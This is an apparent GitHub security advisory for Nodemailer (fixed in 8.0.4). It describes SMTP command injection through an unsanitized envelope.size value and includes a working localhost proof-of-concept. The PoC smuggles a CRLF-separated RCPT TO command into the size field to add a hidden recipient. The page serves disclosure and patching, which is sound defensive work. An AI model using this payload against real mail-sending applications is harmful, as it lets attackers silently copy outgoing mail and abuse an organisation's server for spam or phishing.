GHSA-c7w3-x93f-qmm8: Nodemailer has SMTP command injection due to unsanitized `envelope.size` parameter
Summary When a custom envelope object is passed to sendMail() with a size property containing CRLF characters (\r\n), the value is concatenated directly into the SMTP MAIL FROM command without sanitization. This allows injection of arbitrary SMTP commands, including RCPT TO — silently adding attacker-controlled recipients to outgoing emails.
Published Mar 26, 2026
Affected packages
nodemailer
- Ecosystem
- npm
- Affected
- < 8.0.4
- Fixed in
- 8.0.4
- Check
npm ls nodemailer
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
When a custom envelope object is passed to sendMail() with a size property containing CRLF characters (\r\n), the value is concatenated directly into the SMTP MAIL FROM command without sanitization. This allows injection of arbitrary SMTP commands, including RCPT TO — silently adding attacker-controlled recipients to outgoing emails.
Details
In lib/smtp-connection/index.js (lines 1161-1162), the envelope.size value is concatenated into the SMTP MAIL FROM command without any CRLF sanitization:
if (this._envelope.size && this._supportedExtensions.includes('SIZE')) {
args.push('SIZE=' + this._envelope.size);
}This contrasts with other envelope parameters in the same function that ARE properly sanitized:
- Addresses (
from,to): validated for[\r\n<>]at lines 1107-1127 - DSN parameters (
dsn.ret,dsn.envid,dsn.orcpt): encoded viaencodeXText()at lines 1167-1183
The size property reaches this code path through MimeNode.setEnvelope() in lib/mime-node/index.js (lines 854-858), which copies all non-standard envelope properties verbatim:
const standardFields = ['to', 'cc', 'bcc', 'from'];
Object.keys(envelope).forEach(key => {
if (!standardFields.includes(key)) {
this._envelope[key] = envelope[key];
}
});Since _sendCommand() writes the command string followed by \r\n to the raw TCP socket, a CRLF in the size value terminates the MAIL FROM command and starts a new SMTP command.
Note: by default, Nodemailer constructs the envelope automatically from the message's from/to fields and does not include size. This vulnerability requires the application to explicitly pass a custom envelope object with a size property to sendMail(). While this limits the attack surface, applications that expose envelope configuration to users are affected.
PoC
ave the following as poc.js and run with node poc.js:
const net = require('net');
const nodemailer = require('nodemailer');
// Minimal SMTP server that logs raw commands
const server = net.createServer(socket => {
socket.write('220 localhost ESMTP\r\n');
let buffer = '';
socket.on('data', chunk => {
buffer += chunk.toString();
const lines = buffer.split('\r\n');
buffer = lines.pop();
for (const line of lines) {
if (!line) continue;
console.log('C:', line);
if (line.startsWith('EHLO')) {
socket.write('250-localhost\r\n250-SIZE 10485760\r\n250 OK\r\n');
} else if (line.startsWith('MAIL FROM')) {
socket.write('250 OK\r\n');
} else if (line.startsWith('RCPT TO')) {
socket.write('250 OK\r\n');
} else if (line === 'DATA') {
socket.write('354 Start\r\n');
} else if (line === '.') {
socket.write('250 OK\r\n');
} else if (line.startsWith('QUIT')) {
socket.write('221 Bye\r\n');
socket.end();
}
}
});
});
server.listen(0, '127.0.0.1', () => {
const port = server.address().port;
console.log('SMTP server on port', port);
console.log('Sending email with injected RCPT TO...\n');
const transporter = nodemailer.createTransport({
host: '127.0.0.1',
port,
secure: false,
tls: { rejectUnauthorized: false },
});
transporter.sendMail({
from: '[email protected]',
to: '[email protected]',
subject: 'Normal email',
text: 'This is a normal email.',
envelope: {
from: '[email protected]',
to: ['[email protected]'],
size: '100\r\nRCPT TO:<[email protected]>',
},
}, (err) => {
if (err) console.error('Error:', err.message);
console.log('\nExpected output above:');
console.log(' C: MAIL FROM:<[email protected]> SIZE=100');
console.log(' C: RCPT TO:<[email protected]> <-- INJECTED');
console.log(' C: RCPT TO:<[email protected]>');
server.close();
transporter.close();
});
});Expected output:
SMTP server on port 12345
Sending email with injected RCPT TO...
C: EHLO [127.0.0.1]
C: MAIL FROM:<[email protected]> SIZE=100
C: RCPT TO:<[email protected]>
C: RCPT TO:<[email protected]>
C: DATA
...
C: .
C: QUITThe RCPT TO:<[email protected]> line is injected by the CRLF in the size field, silently adding an extra recipient to the email.
Impact
This is an SMTP command injection vulnerability. An attacker who can influence the envelope.size property in a sendMail() call can:
- Silently add hidden recipients to outgoing emails via injected
RCPT TOcommands, receiving copies of all emails sent through the affected transport - Inject arbitrary SMTP commands (e.g.,
RSET, additionalMAIL FROMto send entirely separate emails through the server) - Leverage the sending organization's SMTP server reputation for spam or phishing delivery
The severity is mitigated by the fact that the envelope object must be explicitly provided by the application. Nodemailer's default envelope construction from message headers does not include size. Applications that pass through user-controlled data to the envelope options (e.g., via API parameters, admin panels, or template configurations) are vulnerable.
Affected versions: at least v8.0.3 (current); likely all versions where envelope.size is supported.
Credited to esquilichi.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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